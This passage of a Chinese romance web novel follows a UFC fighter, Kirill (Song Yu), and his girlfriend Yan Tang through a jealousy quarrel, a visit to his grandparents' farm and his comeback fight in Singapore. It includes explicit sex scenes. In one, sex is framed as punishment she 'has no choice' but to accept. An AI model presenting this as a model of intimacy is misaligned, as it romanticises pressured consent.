宋郁以为燕棠在反对,垂下眼盯着她看,却发现她依然在笑,秀丽的眉头舒展着,像是游刃有余地逗弄他。他很喜欢她露出这样的神情,但如果当下情形是在讨论令他不愉快的人,那这笑容反而让他心闷。宋郁低头要接吻,燕棠往后一仰,灵巧躲开。她不知道这个动作在男人眼里意味着什么,于是这会儿立刻被按在沙发上,底裤被拨开到一侧,直接挨炒。宋郁不高兴的时候喜欢在床上使坏,比如借助体重和体型优势,只要稍稍多放出几分力道,就能把她喂上面下面一起哭。而燕棠昨天已经吃过了,今天胃口变小,来了一次立刻认怂。 趁他撕开第二个避孕套前,她替他提起裤子,随后立刻战术性拉远距离,坐在沙发另一头严肃开口:“因为我让他被调离项目了!” 宋郁动作一顿,“调离?” 燕棠和江聿行是老同学,两个人在大学时还有过不少交流。而这次投资方基金往上穿透的实控人背景特殊,投资也带有扶持性质,所以投资方对项目上人员的关联关系要求往往更加严格,免得主导项目的负责人出现徇私、在风险评估等方面不够客观等问题。 燕棠之前跟宋郁家的基金会打交道久了,对其中门道多有了解。 这件事对她的公司反而没什么太大影响,本质上是基金的内控要求,江聿行在会议上跟她装作不熟,大概也是因为不想失去到手的项目,毕竟基金经理也是有业绩指标的。 所以当她跟江聿行的顶头上司提出建议,更换项目的带头人的时候,对方没有理由拒绝,也懒得深究其中缘由,反正不过是一句话的事情,两边都没有损失。之后江聿行还会挂名在项目上,但实际对接人已经成了另一位经理。 宋郁听完她的解释,眼里是藏不住的意外。他没想到燕棠已经能想到这样的方法。 “跟你学的。”燕棠笑着说,“从对方的角度思考需求,对他们有利也对自己有利,事情才好谈出结果。” 宋郁终于也笑了,没有抓她过来继续刚才的事情,手随意搭在沙发背上,撑着下颌看她。“我什么时候教你的?” “在西伯利亚的时候,你就是这么哄我跟你在一起的。”她说。 两个人静静对视片刻,宋郁眉眼间的神情一松,“我真没想到。” “那你高兴吗?” “嗯,超乎预料地高兴。” “我告诉你我会解决的。”燕棠认真跟他说,“我这段时间一直在想,我是不是主动向你表达心意的次数太少了。” 他没有否认,只是说:“没关系。” “谁说没关系?一点儿小事就让你像个小孩儿一样不安。” “我已经不是小孩儿了,我会调整自己然后解决问题。” “但我也想为你做些什么,我想这样会让你感到安全一点,就像你会为我做的那样。” 燕棠凝视着他。 "Kill,我从小就不是一个经常展露感情的人,我的父母也不会像娜斯佳那样天天把爱挂在嘴边,所以我还在学习怎么向你表达……." 宋郁安静听她说。 “在很长一段时间里,相比得到,我更习惯失去。相比争取,我更习惯放弃……当我遇见从没见过的、非常吸引我的人和事的时候,我会因为知道注定得不到,而下意识地去躲避……“所以对不起,当年我说‘你不是我喜欢的类型,是我在骗你,我没想到你记了那么久。” 他愣了愣,还有点儿不相信,“真的吗?”“真的。”“可你说那句话的时候真的很绝情、很冷漠。”燕棠纠正他,“我那时候是很慌张的,我只是习惯了没有表情……”宋郁盯着她看。“你在超市当收银员的时候,看见我也是很冷淡的样子。” 燕棠老实说:“我在想你长得真好看,要是经常能看见你,心情肯定会很好…但我总不能把心里想的都写在脸上吧。” “所以当年你最开始说那些拒绝我的话,也都是在说谎。”宋郁下了定论。 电视里的体育新闻播至格斗专题,主持人和俄罗斯近年热门格斗选手谢尔盖正相谈甚欢,热闹的聊天声透过音响充斥在客厅每一个角落。 燕棠必须承认她在这段感情里当了很长一段时间的逃兵,那时她迷茫又痛苦,连自我都把控不住,当爱情降临的时候,她只感到惶恐。她被宋郁展现出来的感情吸引,但也知道自己没有能力给出同等的回应。 在一种本能的直觉判断中,她认为有希望长久的爱情中,一定包含着互相施予的含义。 就像现在,她在江聿行这件事情上可以靠自己解决,让宋郁开心。 还比如—— 燕棠指着电视屏幕,笑眯眯地说:“那天维克托闹事,我把他写的保证书扫描发给了合作方的体育新闻部门,他们内部的公关审查否掉了对维克托的采访,帮你解气了。” 宋郁从没想过要求燕棠帮他解决什么,但当此刻得知她为他做过的事情时,心里升起一种极其新鲜,并且极其满足的心绪。 他将燕棠拉进怀里,告诉她,他确实很高兴。 刚才做的那次连内裤都没脱,跟开胃菜似的。现在宋郁感觉有另一种滚烫的东西在他心头盘旋着。他开始抚摸燕棠的后腰。 “哎,我还没说完。”燕棠按住他的手。 昨天宋郁跟她说了一大堆话,语气虽然平静,字里行间真是藏不住的凄凉,就跟他的头像一模一样。 她又跟他解释,“缘分”不应该那么理解。 偶遇什么的都是些小缘分,真正的大缘分,应该就像他们俩一样,一个人的小脾气,另一个人恰好能忍,再怎么闹,底线都是从爱出发。而她中学的时候喜欢江聿行,不过是喜欢她想象中的江聿行罢了,那是一种青春期的幻想,当真实面目揭开后,就会发现一切都是虚假的。 宋郁越听心头越热,那在心里溢出来的滚烫情绪已经要把他融化了。 他同时将燕棠托起,让她隔着靠枕坐在他的腿上。这高度恰好能让她俯视她,也恰好让他的脸对着她的胸。 “我听着,你继续教我。”他手上动作却没停,直接把燕棠的衣摆掀起来给她解内衣扣子,低头。 含住。 燕棠倒吸一口气,抱紧了他的脑袋,手指伸进他的发间,抚摸、紧攥。“我想吃掉你。”宋郁温热的呼吸喷洒在她的肌肤上。齿关磨着柔嫩的皮肤,轻舔,吮吸。他真的想把燕棠吃掉。作为对她爱意的回应。同时作为她让他为那些谎言伤心了那么久的惩罚。 第二天是周五,宋郁仍然要继续去训练,但燕棠没有工作。 作为老板远程办公就是这点好,没人查出勤,除了一些重要会议外,工作时间相当自由。她本来打算舒舒子服服睡到中午,但早上九点多时就被身边的人拱醒了。 ——九点。 对燕棠来说是还早,但对要训练的宋郁来说已经很晚了。 她在被子里翻了个身,习惯性抓住他头发薅了一把,眼睛根本没睁开,声音还带着困意。“怎么还不去俱乐部?” “左膝疼。” 这一句话直接让燕棠睁开了眼,蹭地坐起来掀开被子,检查他的左膝情况。没肿没红。 “隐痛。”他说,“可能是因为昨天沙袋训练提升强度不适应。” 燕棠面无表情地说:“不仅是因为沙袋训练吧?” 她不信昨天在床上后入的姿势没有问题。 燕棠从杂物室里拿出了轮椅,给小谭打电话,一行人迅速去找医生检查。医生说是比较轻微的炎症,是提升训练强度后的常见症状,先休息两天观察。 宋郁这个昨天还在日天日地的人,今天就只能坐在轮椅上,行动受限,不能训练,等回到家待了一个小时,心里便开始有些焦躁。 “我们可以一起看电影。”燕棠试图转移他的注意力。 虽然有燕棠在身边,他遇到困难时的情绪会稍微变得比较平稳,但随着爸爸定下的时间越来越近,宋郁心里仍然有压力。如果这两天能恢复,训练计划就还能照常进行。如果顺利的话,他会在今年冬天迎来在UFC的复出赛。 如果不顺利的话…… 宋郁收回思绪,盯着窗外看了片刻,忽然问燕棠:“你想不想去我外祖父母的农场住两天?”听到这个提议,燕棠没怎么犹豫便点头,出去散散心也好,免得他的注意力集中在膝伤上。她在这之前还没见过宋郁的外祖父母,不过两人已经同居了一段时间,曾经和他的外祖父母通过话,说好有时间会去拜访。莫斯科的郊区视野更加开阔,车沿着深灰色的马路直直往前行驶,路过一片面积极大的湖泊和绿地,最终停在一处围起来的农场门口。不远处是座小镇,放眼望去能看见红蓝绿色相间的独栋屋子,山坡处有父母带着孩子在坐在草地上晒太阳。一对穿着朴素的老夫妇站在门口迎接他们,是宋郁的外祖父阿纳托利和外祖母加琳娜。 他的外祖父的头发确实如宋郁描述的一样,非常茂密,保养得很好,燕棠猜测这大概和他们回归自然的生活方式有关。 “家里的生意交给下一代后,我们就来这里生活了。”加琳娜笑眯眯地拉着燕棠的手,跟她介绍农场的环境。“所有蔬菜都是我们自己种的……” 这片农场布置得像花圃一样精致,长方形的种植地并列而置,一部分用来种植蔬菜,一部分用来种植鲜花,另一边还有畜养鸡鹅的地界,露天长桌上摆放着今天新采摘的胡萝卜和卷心菜,几条在农场里自由穿行的金毛犬摇着尾巴走过来和他们打招呼。 宋郁的轮椅已经升级为电动的,他跟外祖父聊天聊到一半,还给燕棠介绍金毛犬们的名字。 ……房子里还养了很可爱的猫。” 他们来到别墅大门前,脱鞋进入室内,燕棠推着宋郁穿过走廊,刚刚进入客厅,忽然看见了什么,脚步一顿。 她声音颤抖:“刚才闪过去的那只是不是豹子?” 宋郁还没有开口回答,角落里忽然冲出一个体型优雅强壮,四肢修长,身上长着猎豹斑纹的猫科动物。 它的行动速度极快,纵身一跃就在空中变成一道残影,眨眼之间就跳到坐在轮椅上的宋郁身上。然后伸出爪子,对着他那张漂亮的脸蛋哐哐就是两巴掌。 燕棠吓得叫出声,还没来得及救下宋郁,那只猫科动物就跳下地面,歪头盯着她看。 不远处的加琳娜听到动静,从厨房里探出半个身子,“别害怕,MapkM3(侯爵)不会抓伤人。” 燕棠余惊未定地看了一下宋郁的脸,果然没受伤。 “它为什么要打你?”她不敢置信地问。 加琳娜替他回答:“因为Kirill小时候总是咬它的耳朵。” 宋郁一脸理所当然地说:"MapkM3很可爱啊,耳朵大大的,眼睛圆圆的,我想和它当好朋友。" 他跟燕棠说,这不是豹子,也是猫,品种叫萨凡纳,在国内很少见,是薮猫和家养猫配种的后代,非常漂亮,也很有野性。 燕棠查了一下,被这猫的价格惊住。市价在二十五万人民币左右。 这是行走的金矿啊。 加琳娜端出一盘丰盛的水果走出来,笑着对她说:"Mapkn3脾气很温和,除了Kirill外,它对其他人都很友好,你可以摸它,Yana。" 燕棠没忍住好奇,缓缓伸手。 大猫优雅地端坐在她面前,歪着头一动不动,确实是一副很友好的样子。 等她的手就要触碰到它那一对比普通小猫要更圆更大的耳朵时——Mapkn3迅速伸出一条前腿,毫不犹豫给了她一巴掌。 一旁的宋郁笑得停不下来。他用只有她能听见的声音说:“猫的嗅觉很敏锐,你现在浑身上下都是我的气味啊……” 外祖父阿纳托利拿着两瓶酒走进门,恰好撞见这一幕。 "MapKM3就跟Kirill一样记仇。" 他还笑着对燕棠说:“我和加琳娜记着很多Kirill的坏事,正等着你今晚来了之后说。 60、情感建议 受宋郁的牵连,燕棠成为大猫Mapkn3在这个世界上第二讨厌的人。 Mapkn3的叫声不完全是小猫那样娇滴滴的,但声线十分清甜,黑漆漆的眼睛、深黑色的鼻头和线条优美的眼纹让它看起来十分像一头小豹子。 燕棠怀疑加琳娜将MapkM3定义为脾性温和,是因为它比较认主。 当靠近加琳娜或者阿纳托利的时候,它会很亲昵地用头蹭他们,但只要目光扫到宋郁和燕棠这里,它的眼神里就带上了捕猎的色彩。 离吃晚饭还有一点时间,燕棠和宋郁坐在沙发上跟他的外祖父母聊天,Mapkn3已经连续三次从后偷袭,窜上沙发背,无缘无故给他们俩一人一拳。 在第四次的时候,宋郁终于忍无可忍。 在Mapkn3跳上沙发,试图张口叼燕棠头发玩的那一瞬间,他捏住它的后颈皮,另一只手托住它屁股,轻轻松松把它提溜到面前。 “不要欺负她,小宝贝。” 宋郁和MapKM3对视。 他的声音很温和,但MapkM3聪明地听出了其中的含义,迅速变成飞机耳,在他怀里一动不动。 宋郁毫不犹豫地揉了揉它的耳朵,随后把它放在沙发上,对燕棠说:“你现在可以摸它了。” 这一回,MapKN3终于变成了温顺的大猫咪,趴在两人中间被撸了五分钟。然后又跳起来,给两人各一巴掌后迅速跑开。 "MapKM3现在都是在玩闹。它在五个月大的时候来我们这儿,那时候Kirill已经十六岁了。Kirill长得很高,它很害怕Kirill,一开始是在防御,但后来它就以为咬耳朵是一种游戏信号,Kirill咬它一口,它就能打他一拳之类的……" 聊天一直延续到餐桌上,除了薄饼、红菜汤、烤肉一类俄式菜品之外,燕棠发现竟然还有一些诸如清蒸鱼、虾仁炒蛋之类的中国菜,一问才知道是夫妻俩当年在宋裕川来拜访时学的。 加琳娜和阿纳托利果然毫无保留地跟燕棠说起了宋郁小时候的事情。 “他让司机开车送他到莫斯科的公司楼下,要去找爸爸,结果前台不认识他,把他拦了下来。”加琳娜喝了一口红酒:“然后他在那里大哭着对那位前台小姐说‘你知道我爸爸是谁吗?''” 燕棠几乎要笑岔气。“这是真的?” 宋郁无奈地说:“我不记得了。” 他声称没有证据不能当真,阿纳托利便在饭后拿出好几本厚厚的相册。保姆将餐桌清理干净,四个人围坐在桌边,老夫妇两人戴上厚重的老花镜,跟燕棠说起以前的事情。 也许是宋郁在这里住得时间更久,相册里他的照片更多,也有不少两兄弟的合照。 进入青春期后,两兄弟就越来越像了,但儿童时期的差别还很大,尤其是宋郁将近一岁的时候,宋璟已经五岁了,由于父母都是高个子,他的个头也比同龄人更高。 照片里,宋郁还在蹒跚学步阶段,像个刚刚学会控制肢体的小洋娃娃,宋璟站在弟弟身边,手里攥着跟一指宽的绑带,另一头缠绕在宋郁身上。 “我妈妈让他教我学走路,他就跟遛狗似地遛我。我要摔跤了,他就把绳子抽紧把我提起来…….”说起这件事,宋郁还是很无语。 除了孩子们的照片,也有年轻时的宋裕川/和娜斯佳,包括两个人订婚到结婚,再到有了孩子之后合照。难怪两个儿子长得好,这对夫妻年轻的时候也是男帅女美。 宋郁抽出其中一张照片,是他父母的订婚照,看背景是在游轮上,娜斯佳的美丽从来没有变过,笑容活泼开朗,像她手上的钻石一样耀眼。 这座乡村别墅面积很大,二楼给他们休息的卧室已经清理出来。 当两个人准备回卧室睡觉时,Mapkn3跟在他们身后,想要悄悄溜进卧室,然而在踏进房内的前一秒被宋郁关在了门外。 他让MapkM3去找它自己的女朋友。 房间里的地面和墙壁是用不同的木材建成,恍然像是回到了在西伯利亚度假的时候。燕棠打开台灯,用冷水沾湿毛巾给坐在床边的宋郁冷敷膝盖。 “还疼吗?”她将毛巾轻轻压在他膝盖上,“睡前记得把消炎药吃了。” “好多了。” 借着昏黄的灯光,宋郁看着面前的人。 温暖的光线在室内浮动,将燕棠的眉眼染上一层朦胧的光。 他忽然开口:“我妈妈对结婚的要求就是漂亮的大钻石、热闹的派对、有趣的蜜月。” 燕棠一愣,一抬头就和他对上目光。 “你呢?”宋郁问。 猝不及防被这个问题突袭,燕棠的大脑还没转过弯来:“我?我还没想过。”说到这里,她声音一顿,“现在说这个会不会——” “我觉得你可以想一想。”宋郁接过她手中的冰毛巾,将她拉到身边坐下。 他转而又问:“你喜欢MapkM3吗?其实当年我外祖父很想直接养薮猫或者狞猫,甚至想过去收养小狮子,被我妈妈和外祖母强烈反对才作罢。我也很喜欢这类动物,之后如果有机会,我们可以去草原上看看……” 燕棠听得很心动,可惜两个人的工作都十分繁忙,这个计划在近期恐怕无法实现。 好在宋郁的左膝炎症恢复很快,也许是外祖父母家静养了两天,遛遛猫逗逗狗,心情放松,在周一的时候两人就回到了家中,继续投入工作和生活。 日子一天天过去,在得到了文化基金的扶持性投资之后,公司项目推进的效率高了许多,在年底时有两个项目已经推进到上市阶段。而恰好是在这个时间,宋郁的训练也卓有成效,在和UFC官方再次接洽后定下了复出赛安排,就在十二月中,地点在新加坡。 为了适应场地和提早进行赛前准备,宋郁提前两周带着团队飞往新加坡,而燕棠恰好也回到北京跟进项目的最后阶段。两人订的是同一天的航班,一起坐车到机场才告别彼此。 “我一定尽早去陪你。”燕棠拖着行李箱跟他保证。 按照项目时间表,她可以在宋郁进行赛前脱水阶段赶到,那时候也恰好是他最辛苦的时候。 这次是宋郁的复出赛,如果比赛顺利,他需要连续打两场top10排名赛,一场top5排名赛,接下来还有冠军挑战的资格赛,最后是冠军赛。 由于伤病导致他在赛场上消失近两年,这场比赛的热度不算高,也并非主场,从某种程度上看,这反倒是一个很好的事情,至少在初期不会给宋郁太多的外界压力。 ——燕棠是这么想的,所以她对宋郁的比赛并不太担心,经过这么久的踏实训练,加上以前的经验,宋郁不可能不会成功。 可她没想到这一年来,两人几乎形影不离,宋郁最大的问题在于分离焦虑。两个人在机场分开后不过半个小时,燕棠刚刚过完安检,就收到了他发来的消息。 「我很想你。」 「小熊哭泣jpg] 就连她回到了北京,晚上在项目上和员工一起加班开会的时候,也会准时收到宋郁的消息。 “我接个电话。”燕棠从会议室起身,进入单间办公室,锁好门后才打开手机,接通视频请求。 新加坡和北京没有时差,那边也是晚上将近十二点。 屏幕内一片漆黑,燕棠通过蓝牙耳机听见那边响起寒窣的声音,随后见到那头灯光打开,宋郁放大的脸蛋填满了整个屏幕,下睫毛都让她看得一清二楚。 "Kirill,我在办公室。" 燕棠想到昨晚宋郁隔着屏幕对她哼唧的样子,脸颊还在发烫。 “现在不能做那种事情。”她严肃地说。 宋郁立刻反驳:“难道我找你只是为了那种事吗?我很想你!” 这真的不能怪燕棠,他的精力实在是太旺盛了,闲着无聊的时候需要发泄,太忙了精神压力大的时候也要发泄。 可她还是好声好气地说:“是我错怪你了,我可以陪你聊聊天。” 好在项目推进顺利,第一天上市后的图书销售数据超乎预明,燕棠提早一天结束工作,飞新加坡的机票买在后天,中间一天便和恰好来北京出差的表姐程惠艺吃了个饭。 几年过去了,表姐保养得当,借着来北京出差的时间,多停留一个周末在周边旅游。 燕棠好奇问:“姐夫不会吵着要你回去吗?” “两个人天天黏在一起会腻。”表姐喝了口茶,用过来人的语气说,“小别胜新婚,距离产生美。你跟你男朋友现在是同居状态,也是一个道理。” 燕棠说:“还有这个说法呢?难道不是负距离产生美吗?”表姐惊奇地看向她,“你谈个恋爱进步很大啊,小黄词儿一套一套的。”但表姐还是很诚恳地跟她说,就算现在他们对彼此性趣很强,为了可持续发展,平常还是要注意一点儿,比如不要经常在对方面前裸露太多身体,保持神秘感等等。程惠艺比燕棠大好几岁,燕棠每次觉得自己已经有许多心得体会了,拿到程惠艺面前总觉得不够看。所以她信了表姐的话。 第二天,燕棠从樟宜机场出发,在下午三点时抵达宋郁入住的酒店。 小谭已经等在酒店大堂,将宋郁的房卡给她,用一种救世主来了的目光看着她,连连哀叹:“明天开始赛前脱水,他已经好几天没吃碳水,从昨天开始就特别焦躁。” 新加坡的绿化程度非常高,生命力旺盛的随处可见,酒店主体是白色骑楼,充斥着浓浓的南洋气息,让燕棠有一种来度假的错觉。 她连续加班十天,累得晕头转向,到了房间后直接洗澡睡下。 这里环境好,空气湿润,四处安静,燕棠沉沉地睡到了晚上并开始做梦。她莫名其妙梦见Mapkn3出现在房间里,跳上床,要伸爪子扇她。燕棠猛地睁眼,在漆黑对上一双闪着光泽的金棕色瞳孔,下意识惊叫一声。 床头灯被打开,宋郁笑着说:“我又不会吃了你。” 他刚刚洗过澡,只在腰间围了一层浴巾,上半身没穿衣服,头发也是湿的。 由于临近比赛期间体重管理要求非常精准,他的肌肉相较之前更加紧实,此刻在昏暗灯光下别有一番性感的风味。 可现在是备赛期,不宜放纵,两个人都清楚这一点。 燕棠在这时想到了临行前表姐的告诫,忽然沉声说:“把衣服穿上。” 话音刚落,她就看见宋郁愣了。 “为什么?”他声音里有些不敢置信,“你怎么会提出这种要求?” 燕棠把表姐那一套新鲜感理论跟他转述了一遍。 这还是宋郁第一次听燕棠提起她的表姐,他很不赞同那个观点,甚至觉得这个想法很危险。——至少他爸妈之间没有出现过这种问题,毕竟他自己就是父母结婚多年后在浪漫旅行里的激情产物。 宋有盯着燕棠,在直觉驱使下问:“你表姐是不是给过你很多感情建议?” ……也没有很多吧。” 燕棠说完这句话,开始沉默地回忆起表姐曾经给过她的纲领性指导。 也许是沉默了太久,她听见宋郁忽然笑了一声,“看来表姐很有经验啊,等比完赛,你要跟我分享一下。” 燕棠觉得大事不好,可他没有再说下去,而是听话地换上衣服,带着她出门吃饭。 这不过是一个很小的插曲罢了,在当晚就被她抛在了脑后。 随着比赛一天天临近,燕棠也越来越紧张,每天陪在宋郁身边,直到比赛当日,她再次坐在了观众席处。 久违的聚光灯和八角笼。 燕棠站在围栏边缘,看着宋郁被黑衣教练们和拥着走进赛场,俊秀的眉眼在聚光灯下耀眼无比。 在热闹的声音和攒动的人群中,他目光一转,注意到了站在围栏边的燕棠。 她正安静地站在观众席注视着他,看上去就如所有其他观众一样。 宋郁突然改变步子的方向,偏离原来的路线朝燕棠走过去,在靠近她的那一刻,伸手扣住她的后颈。 摄影师举着直播摄像机实时转播,于是这一幕也出现在了体育场馆的大屏幕上。 燕棠愣愣地看着他。 手套布料偏硬,五指抵她后颈皮肤上,那力道很温柔。随后是充满温情的亲吻,落在她的额头上。 如蜻蜓点水般迅速撤离,宋郁又转身往赛场处走去。高大的身形挺拔笔直,沉稳可靠。 —那是她的男人。 燕棠心里涌上一种温暖深厚的爱意。她希望他战无不胜。 61、不许说谎.. 在每一行都有所谓的天赋可言,在综合格斗这项运动上,聪明的头脑、修长的四肢和高大的体格便称得上是天赋。 但令人钦佩的永远不会是一个选手的天赋,而是在许多个不为人知的日夜里,这个选手曾毫无怨言地投身于辛苦的训练,让痛苦在生理和精神层面漫过全身,然后冷静、富有耐心地承受它,完成一次次在精神和肉.体层面的淬炼。最后,所有的成果都会直接通过他们的肌肉状态、行动的速度、精准度和随机应变的战术选择,在赛场上体现出来。 会场被红蓝色调的灯光扫射,主持人举着话筒,热烈介绍着回归赛场的选手Kiril和老将迈克尔。开场结束,选手过碰拳套后,场上人员散开,一身黑衣,戴着黑手套的裁判游走在八角笼边缘。 一个少年得志的年轻选手会意气风发、毫无保留地展露他的技巧和力量。 观众们感叹他的莽撞和激进的同时,也会称赞他无所畏惧、勇往无前的生命力。 宋郁以前在赛场上贡献过许多精彩的瞬间,他优越的外貌和残酷的打法让镜头画面总是充满暴力美学的色彩。 但一名历经沧桑的老将会更加沉着,经验和时间让他学会谋定而后动,游刃有余地把握力量和技术的边界。 出拳试探,闪避退回,虚实反复。 最后找准时机,一击必中。 宋郁胜出。 这场格斗赛事从暴力血腥的刺激体验,升级为更层次的,智慧和力量的较量,观众席反而爆发出比以往更为热烈的惊呼。 比赛以TKO(技术性击倒)结束,主持人再次走进八角笼,对宋郁说欢迎回归。他走下八角笼后稍作休息,接受完采访后带燕棠一起去了赛后派对。 “我挺惊讶的,还以为像你这样的人,还会多玩几年……” 两人入场后没多久,便碰上了一个模样稍有些熟悉的男人。 燕棠稍作回忆,才想起这人叫段烽,当年参加过宋郁在北京举办的庆功派对,那时还跟她加了好友,直接被宋郁当场夺过手机删除。 段烽仿佛是完全不记得当年发生过的事了,笑着跟宋郁寒暄。 可宋郁却还没忘记,脸上也挂着笑,嘴上却反问他:“怎么?对我有偏见?” 段烽说:“你是公认的帅啊,那么好的条件——“ “那你就是对长得帅的人有偏见。”宋郁的目光瞥向一旁的燕棠,寻求认同。“你说是不是?” 燕棠愣了愣,下意识说:“啊?你问我?长得帅的人……要分情况讨论……” 见她措辞谨慎,宋郁品出一丝不对劲儿来。 晚上回到酒店房间,燕棠洗过澡后换了身吊带睡裙,空调房温度颇低,她又拿了件薄针织衫披上。宋郁在康复师处接受完理疗,回到房间后便看燕棠裹得严严实实地躺在床上看手机。 现在是晚上十点多,窗外夜色漆黑,高大的旅人蕉和乔木榕静立在庭院中。天花板处吊着的是一具装饰性的黑色风扇,花纹地毯和床也是黑色的,与墙壁和格子落地窗那洁净的白色撞在一处。 简单素雅的房间里还零散地放着一些杂物,他的护腕、耳机,跟燕棠的护肤品、包包和电脑混在一起,两人这几天换下的衣服已经被人清洗好,整齐地堆叠在一起,你的压着我的,我的压着你的。 这寻常的细节却让宋郁感到一种奇异的安定感,这感觉和赛场上残余在他身体中的兴奋感混杂在一起,让他不自觉地走过去,躺上床抱住她。 可惜薄针织衫严严实实地裹住了燕棠的身体,阻止他进一步触摸。 宋郁又想起了前几天她提的那套新鲜感理论,还有她口中那位很有经验的表姐。他眉头微皱,心里琢磨着什么,伸手解开了针织衫的扣子。 由于看手机看的入迷,燕棠没有管宋郁在她身上动手动脚的行为。 她正在看UFC官网的近期热点,因为比赛足够精彩,首页最大的那张图就是宋郁和他的对手迈克尔,下面特地写着“Kiril回归”的字眼。 一些平台上还有不少粉丝进行评论,许多人都认为宋郁的比赛风格成熟了许多。 而现在,这位成熟的男人正在解燕棠的衣服,并且问她:“我赢了比赛,有什么奖励?” 燕棠的目光还没有从手机屏幕上移开,只在嘴上回:“你想要什么奖励?” 他说:“我想玩我问你答 的游戏。” 听他这么说,燕棠终于放下手机,蹭地坐起来,警惕地说:“今天比赛那么累,还是改天吧?” “谁说我累了?比赛之后我是什么样,你还不清楚吗?”宋郁靠在床头,将燕棠拉进怀里,两个人十分温馨地坐在一起。他开始拷问:“你表姐除了跟你说要维持新鲜感之外,还跟你说了什么至理名言?” 过了这么多年,燕棠仍然保持着一些很优良的品质,比如从不撒谎。所以当意识到宋郁似乎确实非常知道的时候,她谨慎地开口交代。 “表姐以前说,你送的礼物不要不敢收,因为是你的心意。” 宋郁说。 —就像大人给小孩儿送糖一样,其实没那么值得稀罕,该拿就拿着,没必要诚惶诚恐。但这句话燕棠没说。 宋郁一听,竟然点点头,“对啊,给你挑礼物都是我花了很多心思的,虽然钱不是问题,但货很难订,都是找人联系SA抢的。” 听他这么说,燕棠开始有些心虚。 她眼神稍微有些飘忽,但宋郁的观察力何其敏锐,他直接伸手扣住她的后脑,让她转头和他对视。 “你还没说完呢。”他用肯定语气说。 燕棠小声说:“好像没有别的了。” “是吗?那你为什么会问你表姐关于礼物的事情?那时候还很早吧,是不是我们刚认识的时候?” 宋郁迅速掏出了一连串的问题。 “你那时候是不是已经知道我喜欢你了?” “那时候……我不知道你在想什么。”燕棠憋出了这一句话,“我又没被别人追过。” 说到这里,宋郁从她的只言片语中终于撬出来缘由了。 “你那时候不知道我在想什么,所以你去请教你的表姐。”他用一种了然的语气说。“你肯定告诉了她,我给你送礼物,还有一些别的事情,让她来判断。” 以前在莫斯科念中学的时候,宋郁偶尔会参加同学们举办的派对。青春期的女孩儿们坐在一起,讨论的话题都是化妆品、衣服牌子和她们的男朋友,有女孩儿过来跟他表白,后头大多也会跟着几个出主意的好友。结合那段时间燕棠的表现—她经常躲着他,百般拒绝,直到他提出“试用期”后,她才在诱惑之下点了头,答应跟她试试,然后在所谓的试用期结束之后头也不回地跑了。 他追回南市的时候,听她提“试用期”时就觉得很意外。那不过是一句调情的话而已,他用这个来勾引燕棠卸下防备,接受他的好,谁想她竟然当真了。 宋郁越想越不对劲,盯着她问:"所以你表姐最后的结论是什么?" 燕棠真是怕了他了。 该说这小子跟他哥不愧是同一个爹妈生的,虽然对管理公司没兴趣,但观察人的本事实在是太可怕。 她故技重施,跨坐在宋郁身上,往他秀挺的鼻尖上亲了一口,"Kirill,时间已经很晚了…." “是的,时间已经很晚了,所以你快点儿说,我再看看今晚该怎么干你。”宋郁显然已经察觉到了什么,对她的亲吻全盘接受,偏偏就是不放过这个问题。他还提醒燕棠要想清楚了再说,如果她说谎,他一定会看得出来。 燕棠这下紧张坏了。其实表姐说的那些话,在女孩子眼里都是实在话。宋郁那时候年纪又小、家里有钱、周围环绕着的都是同样的帅哥美女,谁不会多想呀。 所以哪怕他当时那么热情、那么贴心,燕棠仍然觉得表姐那句“高级的海王往往以最无害的方式出现”是很有道理的。 宋郁直接气笑了。 “海王?”他重复一遍,“今天派对上,你是不是也在想这个?” 燕棠说的是中文,可他现在中文水平已经足够明白这个词含义。但他不信邪,还再次去搜了一遍这个词究竟指的是什么样的男人——经验丰富、情商高、擅长拿捏女孩儿的心理。 宋郁放下手机,不敢置信:“你就是怎么想我的?” “完全是误解!”燕棠捧着他的脸蛋,认真解释:“那时候我们才刚认识,一点儿都不了解彼此,产生错误理解是很正常的。” 宋郁垂眸看她,“那现在你觉得我是怎么样的人?” “热情是真的,贴心也是真的。你很像娜斯佳,各种意义上,家人也很好,家风很正……” “你知道那时候我是怎么看你的吗?”他又问。 “…你是怎么看我的?” 宋郁说:“我看你的第一眼就觉得你又坚强又努力,是个很可爱的女孩儿,我觉得我一直都没有理解错。” 这令人心软的话击中了燕棠的心。天杀的,她觉得自己是个罪人。 窗外下起了淅沥的小雨,打在旅人蕉宽大碧绿的叶子上,落在透明干净的窗边。滴滴答答,像小朋友的眼泪。 房间里陷入诡异的沉默,宋郁光是盯着她看,长睫毛一颤一颤的,抿着唇不说话。 燕棠看他这样子就知道完了,又伤心了。 “亲一口,别想了。” 燕棠也从宋郁身上学到了许多哄人的本事,比如这个时候,她往宋郁脸蛋上左亲一口右亲一口,熟练地哄他。“我们已经好好地在一起了,你在我眼里就是最可爱。” “不行,这件事不能就这么算了。” “我刚成年就碰上你了,费尽心思想讨你开心,结果被你当成了海王''。” “那你希望我怎么做?”燕棠诚心问。 宋郁没有立刻吱声。他把自己这段时间想做,但出于各种各样的理由被燕棠拒绝的事情都回忆了一遍,然后挑其中最想做的一件事提出来。 ——他要燕棠把吊带睡衣的肩带褪下,把裙摆撩起来,坐在他脸上。 这个姿势被燕棠拒绝过很多次了,她光是想到那个画面就头皮发麻。可这一次她没得选。 从这个角度,宋郁只能仰视她。视线里是美丽的曲线,还有她那张几乎烧红了的脸颊。 他问燕棠还有没有什么别的想要忏悔的,不然下次被他发现,就得单独算账了。 燕棠双腿发软,声音也发虚:“该我来问你才对,你的小本子上还记了多少事情!账算清了没有!”她这话说得理直气壮,可要命的地方落在他嘴里,一下没防住,冷不丁被咬了一口。 那地方是能乱咬的吗?所以不能怪她没忍住,把床单弄湿了。 燕棠尽量克制自己不要露出太过失态的样子,可她不知道这副模样在宋郁眼里十分赏心悦目,所以她的睡裙也脏了。 雨打蕉叶直至天明,两人在第二天下午才醒来。销完账的宋郁心情很好,在app上挑了家餐厅,带燕棠去吃过之后又一起在街头慢慢散步。 乌节路附近的南洋街区隐藏在高楼之后,石板路、从生的凤尾竹、木门和娘惹花砖装点着这一片隐蔽的街区。阳光铺在路面上,给所有角落都镀上一层金灿山的柔光。 “我确实还想着一件事。”宋郁忽然说。 燕棠抬头看他,试图打商量:“那种事情讲究可循环、可持续,一下子做太多不好……” “我说的不是这件事,你怎么总是往那边儿想?” 